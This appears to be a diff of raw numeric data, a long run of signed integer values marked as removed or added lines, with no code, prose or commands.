--101 -15 -112 -10 --82 --101 -14 -110 -9 --66 --101 -14 -110 -9 --82 --101 -15 -111 -9 --65 --101 -14 -110 -9 --82 --101 -16 -107 -3 --68 --100 -15 -112 -137 -137 -34 +-128 +-128 -56 --118 --118 --55 -61 -137 -130 -23 --72 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --45 -66 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -132 -23 --70 --118 --118 --47 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --50 -63 -137 -135 -22 --68 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --45 -66 -137 -134 -24 --69 --118 --118 --48 -68 -137 -134 -25 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --45 -66 -137 -135 -26 --67 --118 --118 --46 -66 -137 -134 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -137 -24 --66 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -24 --67 --118 --118 --45 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --45 -67 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -134 -23 --67 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --45 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -133 -24 --68 --118 --118 --46 -68 -137 -134 -27 --66 --118 --118 --48 -67 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -134 -23 --67 --118 --118 --47 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --47 -66 -137 -134 -25 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -64 --29 --94 --88 -17 -122 -16 --59 --91 -23 -116 -13 +56 +127 +126 +14 -78 --98 -16 -114 -10 --65 --102 -14 -111 -9 --82 --102 -13 -111 -9 --66 --101 -15 -112 -10 --82 --100 -15 -112 -9 --66 --100 -15 -112 -9 --82 --101 -15 -113 -10 --65 --100 -15 -113 -9 --83 --100 -15 -112 -9 --65 --100 -15 -113 -10 --80 --100 -15 -111 -137 -137 -34 --57 --118 --118 --57 -57 -137 -131 -19 --56 --118 --118 --50 -67 -137 -132 -23 --65 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -136 -22 --69 --118 --118 --50 -65 -137 -134 -23 --66 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --49 -63 -137 -136 -22 --66 --118 --118 --47 -68 --26 --92 --102 -23 -119 -16 --75 --89 -25 -118 -14 +-128 +-128 -58 --97 -20 -110 -9 --82 --99 -18 -109 -7 --67 --100 -18 -108 -8 --84 --97 -18 -112 -7 --65 --99 -19 -110 -9 --82 --99 -18 -111 -8 --66 --98 -18 -111 -6 --82 --98 -17 -112 -9 --67 --96 -19 -112 -7 --82 --98 -19 -112 -5 --64 --98 -18 -110 -6 --82 --98 -17 -110 -7 --63 --99 -19 -111 -8 --82 --98 -18 -110 -6 --66 --97 +58 +127 +124 16 -110 -8 -79 --99 -19 -110 -9 --67 --98 -18 -110 -9 --83 --97 -16 -108 -4 --68 --101 -15 -113 -9 --83 --101 -14 -112 -9 --65 --101 -15 -113 -10 --81 --100 -15 -111 -9 --66 --100 -15 -113 -10 --81 --100 -14 -112 -137 -137 -33 --57 --118 --118 --55 -61 -137 -130 -21 --70 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --48 -64 -137 -136 -23 --68 --118 --118 --48 -64 -137 -135 -24 --70 --118 --118 --48 -68 -137 -134 -26 --69 --118 --118 --49 -63 -137 -136 -22 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --49 -63 -137 -136 -22 --66 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --47 -68 -137 -134 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -136 -26 --68 --118 --118 --48 -67 -137 -137 -23 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -22 --68 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -136 -23 --67 --118 --118 --45 -68 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -23 --68 --118 --118 --48 -64 -137 -136 -22 --69 --118 --118 --47 -66 -137 -134 -26 --69 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --48 -66 -137 -132 -22 --70 --118 --118 --47 -68 -137 -134 -24 --66 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --49 -64 -137 -134 -23 --70 --118 --118 --48 -67 -137 -134 -23 --68 --118 --118 --47 -67 -137 -137 -23 --66 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --47 -67 -137 -136 -26 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -65 -137 -135 -24 --70 --118 --118 --49 -66 -137 -133 -23 --66 --118 --118 --47 -68 -137 -136 -25 --67 --118 --118 --47 -67 -137 -136 -25 --68 --118 --118 --46 -67 -137 -136 -24 --68 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --47 -68 -137 -137 -25 --68 --118 --118 --48 -68 -137 -137 -26 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --66 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --45 -66 -137 -134 -23 --68 --118 --118 --46 -68 -137 -136 -28 --68 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --50 -63 -137 -135 -22 --66 --118 --118 --47 -67 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --67 --118 --118 --48 -65 -137 -134 -24 --70 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --67 --118 --118 --47 -68 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --69 --118 --118 --47 -67 -137 -133 -25 --65 --118 --118 --48 -67 -137 -136 -23 --66 --118 --118 --46 -67 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -69 -137 -135 -25 --67 --118 --118 --46 -66 -137 -133 -25 --65 --118 --118 --47 -66 -137 -136 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --46 -65 -137 -132 -22 --68 --118 --118 --50 -67 -137 -132 -23 --66 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --48 -64 -137 -134 -24 --70 --118 --118 --48 -67 -137 -136 -23 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --48 -68 -137 -134 -24 --68 --118 --118 --46 -65 -137 -136 -23 --66 --118 --118 --46 -65 -137 -131 -22 --70 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -135 -23 --70 --118 --118 --49 -65 -137 -134 -23 --65 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -26 --67 --118 --118 --46 -66 -137 -136 -26 --68 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -23 --66 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --48 -66 -137 -131 -21 --70 --118 --118 --48 -66 -137 -135 -24 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -135 -24 --68 --118 --118 --46 -68 -137 -134 -24 --67 --118 --118 --45 -66 -137 -136 -24 --68 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --47 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -135 -23 --69 --118 --118 --50 -66 --25 --94 --88 -18 -120 -17 +-128 +-128 +-60 +54 +127 +124 +13 -76 --90 -23 -119 -15 --61 --99 -16 -110 -9 --82 --102 -14 -111 -9 --66 --101 -14 -109 -8 --82 --100 -15 -113 -10 --65 --100 -15 -110 -9 --82 --100 -15 -113 -10 --65 --100 -15 -110 -8 --82 --100 -15 -114 -10 --66 --101 -15 -108 -8 --83 --101 -14 -113 -10 --65 --101 -15 -109 -137 -137 -33 --57 --118 --118 +-128 +-128 -56 -60 -137 -130 -21 --71 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -67 -137 -134 -27 --68 --118 --118 --50 -64 -137 -133 -22 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -65 -137 -133 -23 --70 --118 --118 --47 -66 -137 -135 -25 --67 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -26 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -132 -25 --67 --118 --118 --46 -65 -137 -134 -26 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --47 -65 -137 -134 -24 --68 --118 --118 --46 -66 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -67 -137 -133 -24 --68 --118 --118 --49 -63 -137 -135 -23 --67 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -27 --68 --118 --118 --47 -68 -137 -136 -24 --66 --118 --118 --49 -64 -137 -134 -22 --66 --118 --118 --46 -68 -137 -133 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --45 -66 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -24 --68 --118 --118 --47 -68 -137 -133 -26 --66 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --45 -67 -137 -136 -26 --67 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -66 --27 --93 --100 -19 -117 -14 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +56 +127 +125 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 -57 --89 -27 -118 +58 +127 +124 14 -78 --95 -17 -108 -4 --83 --100 -19 -110 -5 --82 --97 -18 -111 -6 --82 --98 -19 -112 -6 --80 --98 -19 -112 -7 --65 --98 -20 -111 -9 --81 --99 -18 -112 -5 --80 --98 -18 -112 -7 --83 --98 -16 -109 -7 --79 --99 -20 -112 -137 -137 -34 --59 --118 --118 --55 +-128 +-128 +-57 58 -137 -131 -21 --70 --118 --118 --47 -65 -137 -134 -23 --69 --118 --118 --47 -65 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --48 -65 -137 -134 -24 --70 --118 --118 --49 -64 -137 -134 -23 --66 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -26 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --48 -67 -137 -135 -23 --66 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -66 -137 -133 -23 --68 --118 --118 --48 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --48 -65 -137 -131 -22 --70 --118 --118 --48 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -25 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -69 -137 -134 -24 --68 --118 --118 --47 -68 -137 -136 -24 --66 --118 --118 --49 -63 -137 -135 -22 --66 --118 --118 --47 -67 -137 -133 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --47 -68 -137 -133 -26 --65 --118 --118 --48 -65 -137 -131 -22 --70 --118 --118 --48 -68 -137 -136 -23 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --45 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -68 -137 -134 -26 --70 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 --26 --91 --101 -23 -119 -16 --59 --89 -27 -118 +127 +126 +15 +-77 +-128 +-128 +-56 +55 +127 +124 13 -77 --96 -18 -113 -7 --65 --99 -18 -109 -7 --81 --99 -18 -111 -5 --64 --98 -18 -112 -7 --81 --99 -19 -111 -7 --65 --99 -19 -111 -6 --80 --98 -19 -112 -7 --65 --98 -19 -112 -6 --80 --99 -18 -111 -5 --64 --97 -19 -112 -7 --81 --98 -19 -112 -6 --64 --97 -20 -112 -8 --81 --98 -19 -111 -8 --65 --99 -18 -112 -6 --82 --97 -18 -112 -7 --66 --98 -19 -111 -6 --81 --99 -19 -112 -5 --80 --97 -18 -111 -6 --82 --99 -18 -112 -5 --65 --98 -18 -111 -6 --82 --99 -18 -110 -9 --66 --98 -15 -108 -5 --84 --102 -16 -112 -7 --68 --100 +-128 +-128 +-56 +57 +127 +126 14 -110 -137 -137 -34 --57 --118 --118 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +57 +127 +124 +13 +-78 +-128 +-128 -58 56 -137 -129 -18 --70 --118 --118 --48 -67 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --47 -68 -137 -134 -26 --69 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --45 -67 -137 -135 -25 --68 --118 --118 --48 -65 -137 -134 -24 --70 --118 --118 --46 -68 -137 -134 -25 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --47 -69 -137 -135 -27 --69 --118 --118 --47 -68 -137 -136 -24 --66 --118 --118 --46 -66 -137 -135 -25 --68 --118 --118 --50 -64 -137 -134 -22 --66 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --45 -67 -137 -136 -24 --67 --118 --118 --47 -67 -137 -132 -24 --66 --118 --118 --47 -66 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -68 -137 -135 -25 --68 --118 --118 --46 -68 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --48 -64 -137 -134 -23 --70 --118 --118 --50 -63 -137 -134 -22 --69 --118 --118 --47 -67 -137 -136 -25 --67 --118 --118 --46 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -25 --68 --118 --118 --46 -68 -137 -134 -25 --68 --118 --118 --46 -66 -137 -135 -23 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --49 -63 -137 -135 -22 --67 --118 --118 --46 -68 -137 -136 -24 --66 --118 --118 --45 -68 --26 --92 --101 -23 -118 -16 --60 --86 -26 -118 -12 --77 --96 -19 -112 -5 --64 --98 -18 -111 -6 --82 --99 -18 -110 -8 --67 --98 -15 -108 -6 --84 --101 -15 -114 -9 --67 --100 -15 -113 -10 --81 --101 -14 -110 -9 --66 --101 -15 -112 -10 --82 --100 -15 -111 -9 --66 --100 -15 -112 -10 --81 --100 -15 -111 -137 -137 -33 --57 --118 --118 --54 -60 -137 -130 -21 --70 --118 --118 --46 -66 -137 -136 -24 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -68 -137 -135 -24 --68 --118 --118 --49 -64 -137 -136 -22 --67 --118 --118 --47 -68 -137 -136 -23 --66 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --49 -64 -137 -136 -22 --69 --118 --118 --50 -63 -137 -135 -22 --66 --118 --118 --47 -68 -137 -135 -24 --67 --118 --118 --46 -66 -137 -136 -24 --66 --118 --118 --45 -67 -137 -134 -24 --66 --118 --118 --45 -67 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -22 --67 --118 --118 --47 -68 -137 -136 -25 --68 --118 --118 --49 -64 -137 -135 -23 --70 --118 --118 --49 -67 -137 -133 -23 --66 --118 --118 --47 -68 -137 -135 -26 --67 --118 --118 --46 -68 -137 -136 -24 --68 --118 --118 --45 -66 -137 -137 -24 --66 --118 --118 --47 -68 -137 -135 -25 --67 --118 --118 --47 -67 -137 -134 -24 --68 --118 --118 --48 -66 -137 -134 -24 --67 --118 --118 --46 -66 -137 -136 -25 --68 --118 --118 --46 -68 -137 -134 -24 --68 --118 --118 --46 -67 -137 -136 -26 --67 --118 --118 --46 -67 -137 -134 -24 --68 --118 --118 --48 -67 -137 -134 -24 --68 --118 --118 --46 -66 -137 -135 -24 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --48 -66 -137 -133 -23 --66 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --47 -68 -137 -134 -24 --68 --118 --118 --49 -64 -137 -136 -23 --67 --118 --118 --47 -68 -137 -136 -23 --67 --118 --118 --46 -67 -137 -135 -24 --67 --118 --118 --46 -67 -137 -137 -26 --66 --118 --118 --45 -66 -137 -135 -23 --67 --118 --118 --46 -67 -137 -135 -24 --68 --118 --118 --46 -66 -137 -136 -23 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --45 -68 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -23 --68 --118 --118 --46 -66 -137 -136 -25 --67 --118 --118 --46 -68 -137 -136 -25 --67 --118 --118 --45 -67 -137 -136 -24 --68 --118 --118 --47 -69 -137 -135 -27 --68 --118 --118 --46 -67 -137 -136 -25 --67 --118 --118 --46 -67 -137 -136 -24 --67 --118 --118 --46 -67 -137 -136 -25 --68 --118 --118 --46 -66 -137 -136 -24 --68 --118 --118 --47 -66 -137 -134 -24 --68 --118 --118 --45 -67 --28 --91 --100 -22 -119 -14 --75 --89 -27 -118 +127 +124 13 --60 --96 -19 -113 -7 --82 --99 -15 -107 -3 --69 --102 -14 -113 -9 --82 --100 -15 -110 -9 --66 --102 -15 -112 -10 --80 --100 -15 -110 -9 --66 --101 -15 -114 -10 --81 --100 -15 -112 -10 --65 --100 -15 -112 -9 --81 --101 -14 -111 -9 --66 --101 -14 -112 -137 -137 -34 +-78 +-128 +-128 -57 --118 --118 +56 +127 +126 +13 +-76 +-128 +-128 -55 -59 -137 -130 -21 --71 --118 --118 --47 -66 -137 -135 -24 --68 --118 --118 --46 -67 -137 -135 -25 --67 --118 --118 --46 -66 -137 -135 -23 --66 --118 --118 --46 -67 -137 -134 -25 --67 --118 --118 --45 -66 -137 -135 -24 --68 --118 --118 --48 -68 -137 -136 -25 --68 --118 --118 --49 -63 --29 --95 --89 -20 -119 -12 --62 --90 -25 -118 +57 +127 +125 14 +-78 +-128 +-128 +-56 +59 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-77 +-128 +-128 +-56 +58 +127 +126 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-55 +58 +127 +125 +14 +-78 +-128 +-128 +-56 +58 +127 +125 +14 +-78 +-128 +-128 +-58 +56 +127 +126 +16 -79 --94 +-128 +-128 +-56 +57 +127 +125 +14 +-78 +-128 +-128 +-57 +58 +-38 +-101 +-111 +12 +109 +4 +-85 +-98 17 109 -6 --64 --99 -14 -108 +3 +-70 +-106 +11 +103 +-4 +-89 +-108 +8 +101 +-4 +-76 +-109 +8 +102 +-4 +-91 +-108 +9 +102 +-3 +-76 +-109 +9 +100 +-2 +-91 +-109 +8 +102 +-3 +-76 +-109 +9 +100 +-2 +-92 +-109 +9 +101 +-3 +-75 +-108 7 --84 --101 -14 -113 +103 +-4 +-90 +-107 9 --67 --100 -15 -112 -9 --82 --100 -15 -114 -10 --65 --101 -15 -111 -9 --81 --100 -15 -113 -10 +102 +-4 +-74 +-107 +8 +102 +127 +127 +25 +-69 +-128 +-128 -64 --101 -15 -110 +48 +127 +120 9 -82 --101 -15 -114 -10 --65 --100 +-128 +-128 +-58 +56 +127 +125 +14 +-77 +-128 +-128 +-58 +56 +127 +125 +13 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-55 +57 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +126 15 +-78 +-128 +-128 +-58 +54 +127 +124 +12 +-79 +-128 +-128 +-60 +56 +-34 +-103 +-97 +8 112 -137 -137 -34 +7 +-69 +-100 +14 +107 +5 +-87 +-108 +6 +102 +-1 +-75 +-112 +4 +99 +-2 +-93 +-111 +4 +102 +-1 +-75 +-111 +5 +102 +0 +-92 +-111 +4 +100 +-1 +-76 +-111 +4 +100 +-1 +-92 +-111 +5 +101 +-1 +-75 +-111 +4 +100 +-1 +-92 +-111 +6 +97 +-7 +-78 +-110 +5 +102 +127 +127 +24 +-66 +-128 +-128 +-65 +51 +127 +120 +13 +-82 +-128 +-128 +-56 +56 +127 +125 +15 +-77 +-128 +-128 +-55 +56 +127 +126 +16 +-77 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +54 +127 +122 +13 +-80 +-128 +-128 -57 --118 --118 +57 +127 +124 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +15 +-78 +-128 +-128 +-60 +53 +127 +125 +12 +-78 +-128 +-128 +-55 +57 +127 +125 +15 +-78 +-128 +-128 +-57 +58 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +16 +-77 +-128 +-128 +-55 +56 +127 +124 +14 +-79 +-128 +-128 +-58 +58 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +125 +15 +-78 +-128 +-128 +-55 +56 +127 +125 +16 +-77 +-128 +-128 +-56 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +124 +14 +-78 +-128 +-128 +-57 +59 +127 +127 +14 +-76 +-128 +-128 +-56 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +56 +127 +126 +14 +-77 +-128 +-128 +-55 +58 +127 +125 +15 +-77 +-128 +-128 +-55 +57 +127 +126 +14 +-76 +-128 +-128 +-56 +57 +127 +124 +15 +-77 +-128 +-128 +-55 +57 +127 +125 +14 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-56 +56 +127 +124 +13 +-77 +-128 +-128 +-56 +56 +127 +125 +15 +-78 +-128 +-128 +-55 +56 +127 +126 +15 +-77 +-128 +-128 +-56 +58 +127 +123 +14 +-78 +-128 +-128 +-56 +58 +127 +124 +17 +-76 +-128 +-128 +-58 +57 +127 +124 +14 +-78 +-128 +-128 +-58 +58 +127 +124 +15 +-77 +-128 +-128 +-56 +56 +127 +124 +13 +-77 +-128 +-128 +-57 +57 +127 +125 +15 +-77 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-57 +56 +127 +124 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-55 +57 +127 +124 +14 +-78 +-128 +-128 +-59 +54 +-39 +-104 +-98 +7 +112 +6 +-69 +-101 +13 +106 +3 +-88 +-108 +6 +104 +0 +-75 +-112 +4 +101 +-1 +-92 +-112 +3 +101 +-1 +-76 +-111 +5 +102 +0 +-92 +-110 +5 +102 +-1 +-76 +-110 +5 +102 +-1 +-92 +-111 +5 +103 +0 +-75 +-110 +5 +103 +-1 +-93 +-110 +5 +102 +-1 +-75 +-110 +5 +103 +0 +-90 +-110 +5 +101 +127 +127 +24 +-67 +-128 +-128 +-67 +47 +127 +121 +9 +-66 +-128 +-128 +-60 +57 +127 +122 +13 +-75 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-79 +-128 +-128 +-60 +55 +127 +124 +13 +-76 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +-36 +-102 +-112 +13 +109 +6 +-85 +-99 +15 +108 +4 +-68 +-107 +10 +100 +-1 +-92 +-109 +8 +99 +-3 +-77 +-110 +8 +98 +-2 +-94 +-107 +8 +102 +-3 +-75 +-109 +9 +100 +-1 +-92 +-109 +8 +101 +-2 +-76 +-108 +8 +101 +-4 +-92 +-108 +7 +102 +-1 +-77 +-106 +9 +102 +-3 +-92 +-108 +9 +102 +-5 +-74 +-108 +8 +100 +-4 +-92 +-108 +7 +100 +-3 +-73 +-109 +9 +101 +-2 +-92 +-108 +8 +100 +-4 +-76 +-107 +6 +100 +-2 +-89 +-109 +9 +100 +-1 +-77 +-108 +8 +100 +-1 +-93 +-107 +6 +98 +-6 +-78 +-111 +5 +103 +-1 +-93 +-111 +4 +102 +-1 +-75 +-111 +5 +103 +0 +-91 +-110 +5 +101 +-1 +-76 +-110 +5 +103 +0 +-91 +-110 +4 +102 +127 +127 +23 +-67 +-128 +-128 +-65 +51 +127 +120 +11 +-80 +-128 +-128 +-56 +56 +127 +125 +14 +-78 +-128 +-128 +-58 +58 +127 +125 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +14 +-78 +-128 +-128 +-55 +57 +127 +125 +14 +-78 +-128 +-128 +-58 +54 +127 +126 +13 +-78 +-128 +-128 +-58 +54 +127 +125 +14 +-80 +-128 +-128 +-58 +58 +127 +124 +16 +-79 +-128 +-128 +-59 +53 +127 +126 +12 +-77 +-128 +-128 +-57 +58 +127 +126 +15 +-78 +-128 +-128 +-59 +53 +127 +126 +12 +-76 +-128 +-128 +-57 +58 +127 +124 +14 +-78 +-128 +-128 +-59 +53 +127 +125 +12 +-77 +-128 +-128 +-57 +58 +127 +124 +14 +-77 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 +56 +127 +126 +13 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-78 +-128 +-128 +-56 +57 +127 +126 +15 +-77 +-128 +-128 +-56 